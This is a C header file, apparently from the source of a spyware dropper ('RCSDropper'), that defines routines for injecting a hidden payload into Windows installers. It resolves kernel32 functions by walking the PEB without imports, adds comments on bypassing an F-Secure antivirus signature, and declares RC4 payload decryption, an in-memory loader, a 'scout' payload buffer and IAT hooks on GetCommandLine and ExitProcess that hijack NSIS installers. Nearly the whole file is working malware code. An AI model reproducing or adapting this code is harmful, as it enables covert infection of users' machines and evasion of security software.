RCSDropper/DropperCode.h
#ifdef WIN32
#include <Windows.h>
#else
#include "win32types.h"
#endif
#ifndef _DROPPER_COMMON
#define _DROPPER_COMMON
#pragma optimize( "", off ) // *** Disable all optimizations - we need code "as is"!
#pragma code_seg(".extcd") // *** Lets put all functions in a separated code segment
#include "DropperHeader.h"
#define END_MARKER(ptr) do { memcpy(ptr, "<E>\0", 4); ptr += 4; } while(0)
#define END_OF(x) #x ## "_End"
#define FUNCTION_END_DECL(x) void x ## _End()
#define FUNCTION_END(x) FUNCTION_END_DECL(x) { char * y = END_OF(x); return; }
#define S_SWAP(a,b) do { unsigned char t = S[a]; S[a] = S[b]; S[b] = t; } while(0);
typedef FARPROC (WINAPI *GETPROCADDRESS)(HMODULE, LPCSTR);
typedef HMODULE (WINAPI *LOADLIBRARY)(LPCSTR);
typedef HMODULE (*GETMODULEHANDLE)(LPCTSTR);
typedef BOOL (WINAPI *EXTRACTFILE)(PCHAR, DWORD, DWORD, DataSectionHeader*);
typedef ULONG (WINAPI *MAIN)(HINSTANCE, HINSTANCE, LPSTR, ULONG);
typedef NTSTATUS (WINAPI *ZWTERMINATEPROCESS)(HANDLE, ULONG);
typedef DWORD (WINAPI *GETSHORTPATHNAME)(LPSTR lpszLongPath, LPSTR lpszShortPath, DWORD cchBuffer);
typedef BOOL (*SHGETFOLDERW)(HWND, LPWSTR, ULONG csidl, BOOL);
typedef DWORD (WINAPI *GETSHORTPATHNAMEW)(LPWSTR lpszLongPath, LPWSTR lpszShortPath, DWORD cchBuffer);
typedef HANDLE (WINAPI *CREATEFILEW)(LPWSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile);
typedef HANDLE (WINAPI *CREATEFILEA)(LPSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile);
typedef BOOL (WINAPI *WRITEFILE)(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped);
typedef BOOL (WINAPI *CLOSEHANDLE)(HANDLE hObject);
typedef LPVOID (WINAPI *VIRTUALALLOC)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
typedef BOOL (WINAPI *VIRTUALFREE)(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
typedef BOOL (WINAPI *VIRTUALPROTECT)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpOldProtect);
typedef DWORD (WINAPI *GETMODULEFILENAME)(HMODULE hModule, LPTSTR lpFilename, DWORD nSize);
typedef SIZE_T (WINAPI *VIRTUALQUERY)(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength);
typedef HANDLE (WINAPI *CREATETHREAD)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
typedef VOID (WINAPI *SLEEP)(DWORD dwMilliseconds);
typedef VOID (WINAPI *EXITPROCESS)(UINT uExitCode);
typedef LPSTR (WINAPI *GETCOMMANDLINEA)();
typedef LPWSTR (WINAPI *GETCOMMANDLINEW)();
typedef DWORD (WINAPI *GETENVIRONMENTVARIABLE)(LPCTSTR lpName, LPTSTR lpBuffer, DWORD nSize);
typedef BOOL (WINAPI *PATHREMOVEFILESPEC)(LPSTR pszPath);
typedef DWORD (WINAPI *GETFILEATTRIBUTESA) (LPCSTR lpFileName);
typedef BOOL (WINAPI *CREATEDIRECTORY)(LPCTSTR lpPathName, LPSECURITY_ATTRIBUTES lpSecurityAttributes);
typedef DWORD (WINAPI *GETLASTERROR)(void);
typedef BOOL (WINAPI *SETCURRENTDIRECTORY)(LPCSTR lpPathName);
typedef BOOL (WINAPI *SETFILEATTRIBUTESA)(LPCTSTR lpFileName, DWORD dwFileAttributes);
typedef LPWSTR (*PATHADDBACKSLASHW)(LPWSTR lpszPath);
typedef BOOL (*PATHAPPENDW)(LPWSTR pszPath, LPWSTR pszMore);
typedef struct _MY_DATA
{
LOADLIBRARY LoadLibraryA;
GETPROCADDRESS GetProcAddress;
GETMODULEHANDLE GetModuleHandleA;
VIRTUALALLOC VirtualAlloc;
VIRTUALFREE VirtualFree;
GETMODULEFILENAME GetModuleFileNameA;
VIRTUALPROTECT VirtualProtect;
VIRTUALQUERY VirtualQuery;
CREATETHREAD CreateThread;
GETENVIRONMENTVARIABLE GetEnvironmentVariableA;
PATHREMOVEFILESPEC PathRemoveFileSpecA;
GETFILEATTRIBUTESA GetFileAttributesA;
SETFILEATTRIBUTESA SetFileAttributesA;
CREATEDIRECTORY CreateDirectoryA;
GETLASTERROR GetLastError;
SETCURRENTDIRECTORY SetCurrentDirectoryA;
CREATEFILEA CreateFileA;
CREATEFILEW CreateFileW;
WRITEFILE WriteFile;
CLOSEHANDLE CloseHandle;
SHGETFOLDERW SHGetSpecialFolderPathW;
GETSHORTPATHNAMEW GetShortPathNameW;
PATHADDBACKSLASHW PathAddBackslashW;
PATHAPPENDW PathAppendW;
DataSectionHeader *header;
PBYTE pScoutBuffer;
ULONG pScoutSize;
} MY_DATA, *PMY_DATA;
int __stdcall DropperEntryPoint();
FUNCTION_END_DECL(DropperEntryPoint);
DWORD WINAPI CoreThreadProc(PMY_DATA pData);
FUNCTION_END_DECL(CoreThreadProc);
BOOL WINAPI DumpFile(CHAR * fileName, CHAR* fileData, DWORD dataSize, DWORD originalSize, PMY_DATA pData);
FUNCTION_END_DECL(DumpFile);
DWORD HookIAT(char* dll, char* name, DWORD hookFunc, UINT_PTR IAT_rva, DWORD imageBase, PMY_DATA pData);
FUNCTION_END_DECL(HookIAT);
void ArcFour(const unsigned char *key, size_t keylen, size_t skip, unsigned char *data, size_t data_len, PMY_DATA pData);
FUNCTION_END_DECL(ArcFour);
LPVOID WINAPI MemoryLoader(LPVOID pData);
FUNCTION_END_DECL(MemoryLoader);
LPSTR WINAPI GetCommandLineAHook();
FUNCTION_END_DECL(GetCommandLineAHook);
LPWSTR WINAPI GetCommandLineWHook();
FUNCTION_END_DECL(GetCommandLineWHook);
VOID WINAPI ExitProcessHook(UINT uExitCode);
FUNCTION_END_DECL(ExitProcessHook);
typedef DWORD (WINAPI * THREADPROC)(LPVOID lpParameter);
typedef BOOL (WINAPI * DUMPFILE)(PCHAR fileName, PCHAR fileData, DWORD fileSize, DWORD originalSize, PMY_DATA pData);
typedef void (*RC4_SKIP)(const unsigned char *key, size_t keylen, size_t skip, unsigned char *data, size_t data_len, PMY_DATA pData);
typedef void (*HFF5)(PCHAR, DWORD, LPSTARTUPINFO, LPPROCESS_INFORMATION);
typedef DWORD (*HOOKIAT)(char* dll, char* name, DWORD hookFunc, UINT_PTR IAT_rva, DWORD imageBase, PMY_DATA pData);
// CRT DEI POVERI
__forceinline void _MEMSET_( void *_dst, int _val, size_t _sz )
{
while ( _sz ) ((BYTE *)_dst)[--_sz] = _val;
}
__forceinline void _MEMCPY_( void *_dst, void *_src, size_t _sz )
{
while ( _sz-- ) ((BYTE *)_dst)[_sz] = ((BYTE *)_src)[_sz];
}
__forceinline BOOL _MEMCMP_( void *_src1, void *_src2, size_t _sz )
{
while ( _sz-- )
{
if ( ((BYTE *)_src1)[_sz] != ((BYTE *)_src2)[_sz] )
return FALSE;
}
return TRUE;
}
__forceinline size_t _STRLEN_(char *_src)
{
size_t count = 0;
while( _src && *_src++ )
count++;
return count;
}
__forceinline size_t _STRLENW_(wchar_t *_src)
{
ULONG count = 0;
while(_src && (*(PUSHORT)_src++ != 0x0000))
count += 2;
return count;
}
__forceinline void _TOUPPER_(char *s)
{
for(; *s; s++)
if(('a' <= *s) && (*s <= 'z'))
*s = 'A' + (*s - 'a');
}
__forceinline void _TOUPPER_CHAR(char *c)
{
if((*c >= 'a') && (*c <= 'z'))
*c = 'A' + (*c - 'a');
}
__forceinline void _TOLOWER_(char *s)
{
for(; *s; s++)
if(('A' <= *s) && (*s <= 'Z'))
*s = 'a' + (*s - 'A');
}
__forceinline int _STRCMP_(char *_src1, char *_src2)
{
size_t sz = _STRLEN_(_src1);
if ( _STRLEN_(_src1) != _STRLEN_(_src2) )
return 1;
return _MEMCMP_(_src1, _src2, sz ) ? 0 : 1;
}
__forceinline int _STRCMPI_(char *_src1, char *_src2)
{
char* s1 = _src1;
char* s2 = _src2;
while (*s1 && *s2)
{
char a = *s1;
char b = *s2;
_TOUPPER_CHAR(&a);
_TOUPPER_CHAR(&b);
if (a != b)
return 1;
s1++;
s2++;
}
return 0;
}
__forceinline char* _STRRCHR_(char const *s, int c)
{
char* rtnval = 0;
do {
if (*s == c)
rtnval = (char*) s;
} while (*s++);
return (rtnval);
}
__forceinline void _STRCAT_(char*_src1, char *_src2)
{
char* ptr = _src1 + _STRLEN_(_src1);
_MEMCPY_(ptr, _src2, _STRLEN_(_src2));
ptr += _STRLEN_(_src2);
*ptr = '\0';
}
__forceinline void _ZEROMEM_(char* mem, int size)
{
for (int i = 0; i < size; i++)
mem[i] = 0;
}
__forceinline GETPROCADDRESS resolveGetProcAddress()
{
PEB_LIST_ENTRY* head;
DWORD **pPEB;
DWORD *Ldr;
char strKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0x0 };
char strGetProcAddress[] = { 'G', 'e', 't', 'P', 'r', 'o', 'c', 'A', 'd', 'd', 'r', 'e', 's', 's', 0x0 };
__asm {
mov eax,30h
mov eax,DWORD PTR fs:[eax]
add eax, 08h
mov ss:[pPEB], eax
}
Ldr = *(pPEB + 1);
head = (PEB_LIST_ENTRY *) *(Ldr + 3);
PEB_LIST_ENTRY* entry = head;
do {
DWORD imageBase = entry->ImageBase;
if (imageBase == NULL)
goto NEXT_ENTRY;
IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*) entry->ImageBase;
IMAGE_NT_HEADERS32* ntHeaders = (IMAGE_NT_HEADERS32*) (entry->ImageBase + dosHeader->e_lfanew);
// *** check if we have an export table
if (ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == NULL)
goto NEXT_ENTRY;
// *** get EXPORT table
IMAGE_EXPORT_DIRECTORY* exportDirectory =
(IMAGE_EXPORT_DIRECTORY*) (imageBase + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
// *** check for valid module name
char* moduleName = (char*)(imageBase + exportDirectory->Name);
if (moduleName == NULL)
goto NEXT_ENTRY;
if ( ! _STRCMPI_(moduleName+1, strKernel32+1) ) // +1 to bypass f-secure signature
{
if (exportDirectory->AddressOfFunctions == NULL) goto NEXT_ENTRY;
if (exportDirectory->AddressOfNames == NULL) goto NEXT_ENTRY;
if (exportDirectory->AddressOfNameOrdinals == NULL) goto NEXT_ENTRY;
DWORD* Functions = (DWORD*) (imageBase + exportDirectory->AddressOfFunctions);
DWORD* Names = (DWORD*) (imageBase + exportDirectory->AddressOfNames);
WORD* NameOrds = (WORD*) (imageBase + exportDirectory->AddressOfNameOrdinals);
// *** get pointers to LoadLibraryA and GetProcAddress entry points
for (WORD x = 0; x < exportDirectory->NumberOfFunctions; x++)
{
if (Functions[x] == 0)
continue;
for (WORD y = 0; y < exportDirectory->NumberOfNames; y++)
{
if (NameOrds[y] == x)
{
char *name = (char *) (imageBase + Names[y]);
if (name == NULL)
continue;
if (!_STRCMPI_(strGetProcAddress, name))
return (GETPROCADDRESS)(imageBase + Functions[x]);
break;
}
}
}
}
NEXT_ENTRY:
entry = (PEB_LIST_ENTRY *) entry->InLoadNext;
} while (entry != head);
return 0;
}
__forceinline LOADLIBRARY resolveLoadLibrary()
{
PEB_LIST_ENTRY* head;
DWORD **pPEB;
DWORD *Ldr;
char strKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0x0 };
char strLoadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', 0x0 };
__asm {
mov eax,30h
mov eax,DWORD PTR fs:[eax]
add eax, 08h
mov ss:[pPEB], eax
}
Ldr = *(pPEB + 1);
head = (PEB_LIST_ENTRY *) *(Ldr + 3);
PEB_LIST_ENTRY* entry = head;
do {
DWORD imageBase = entry->ImageBase;
if (imageBase == NULL)
goto NEXT_ENTRY;
IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*) entry->ImageBase;
IMAGE_NT_HEADERS32* ntHeaders = (IMAGE_NT_HEADERS32*) (entry->ImageBase + dosHeader->e_lfanew);
// *** check if we have an export table
if (ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == NULL)
goto NEXT_ENTRY;
// *** get EXPORT table
IMAGE_EXPORT_DIRECTORY* exportDirectory =
(IMAGE_EXPORT_DIRECTORY*) (imageBase + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
// *** check for valid module name
char* moduleName = (char*)(imageBase + exportDirectory->Name);
if (moduleName == NULL)
goto NEXT_ENTRY;
if ( ! _STRCMPI_(moduleName+1, strKernel32+1) ) // +1 to bypass f-secure signature
{
if (exportDirectory->AddressOfFunctions == NULL) goto NEXT_ENTRY;
if (exportDirectory->AddressOfNames == NULL) goto NEXT_ENTRY;
if (exportDirectory->AddressOfNameOrdinals == NULL) goto NEXT_ENTRY;
DWORD* Functions = (DWORD*) (imageBase + exportDirectory->AddressOfFunctions);
DWORD* Names = (DWORD*) (imageBase + exportDirectory->AddressOfNames);
WORD* NameOrds = (WORD*) (imageBase + exportDirectory->AddressOfNameOrdinals);
// *** get pointers to LoadLibraryA and GetProcAddress entry points
for (WORD x = 0; x < exportDirectory->NumberOfFunctions; x++)
{
if (Functions[x] == 0)
continue;
for (WORD y = 0; y < exportDirectory->NumberOfNames; y++)
{
if (NameOrds[y] == x)
{
char *name = (char *) (imageBase + Names[y]);
if (name == NULL)
continue;
if (!_STRCMPI_(strLoadLibraryA, name))
return (LOADLIBRARY)(imageBase + Functions[x]);
break;
}
}
}
}
NEXT_ENTRY:
entry = (PEB_LIST_ENTRY *) entry->InLoadNext;
} while (entry != head);
return 0;
}
__forceinline VOID FixInstallers(PMY_DATA pData)
{
PIMAGE_DOS_HEADER pDosHeader;
PIMAGE_NT_HEADERS32 pNtHeaders;
PIMAGE_SECTION_HEADER pSectionHeader;
LPVOID pBaseAddress = pData->GetModuleHandleA(NULL);
CHAR strNData[] = { '.', 'n', 'd', 'a', 't', 'a', 0x0};
CHAR strKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0x0 };
CHAR strGetCommandLineA[] = { 'G', 'e', 't', 'C', 'o', 'm', 'm', 'a', 'n', 'd', 'L', 'i', 'n', 'e', 'A', 0x0 };
CHAR strGetCommandLineW[] = { 'G', 'e', 't', 'C', 'o', 'm', 'm', 'a', 'n', 'd', 'L', 'i', 'n', 'e', 'W', 0x0 };
pDosHeader = (PIMAGE_DOS_HEADER)pBaseAddress;
pNtHeaders = (PIMAGE_NT_HEADERS32) (((PBYTE)pDosHeader) + pDosHeader->e_lfanew);
pSectionHeader = (PIMAGE_SECTION_HEADER) (pNtHeaders + 1);
for (DWORD i=0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
{
if (!_STRCMP_((PCHAR)pSectionHeader[i].Name, strNData))
{
ULONG uOldProtect;
GETCOMMANDLINEA pfn_GetCommandLineAHook = (GETCOMMANDLINEA) ( ((PBYTE)pData->header) + pData->header->functions.GetCommandLineAHook.offset);
GETCOMMANDLINEW pfn_GetCommandLineWHook = (GETCOMMANDLINEW) ( ((PBYTE)pData->header) + pData->header->functions.GetCommandLineWHook.offset);
pData->VirtualProtect(pfn_GetCommandLineAHook, pData->header->functions.GetCommandLineAHook.size, PAGE_EXECUTE_READWRITE, &uOldProtect);
pData->VirtualProtect(pfn_GetCommandLineWHook, pData->header->functions.GetCommandLineWHook.size, PAGE_EXECUTE_READWRITE, &uOldProtect);
HOOKIAT pfn_HookIAT = (HOOKIAT) (((PCHAR)pData->header) + pData->header->functions.hookIAT.offset);
pfn_HookIAT(strKernel32,
strGetCommandLineA,
(DWORD)pfn_GetCommandLineAHook,
pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress,
(DWORD)pBaseAddress,
pData);
pfn_HookIAT(strKernel32,
strGetCommandLineW,
(DWORD)pfn_GetCommandLineWHook,
pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress,
(DWORD)pBaseAddress,
pData);
}
}
}
#pragma code_seg()
#pragma optimize( "", on )
#endif // _DROPPER_COMMON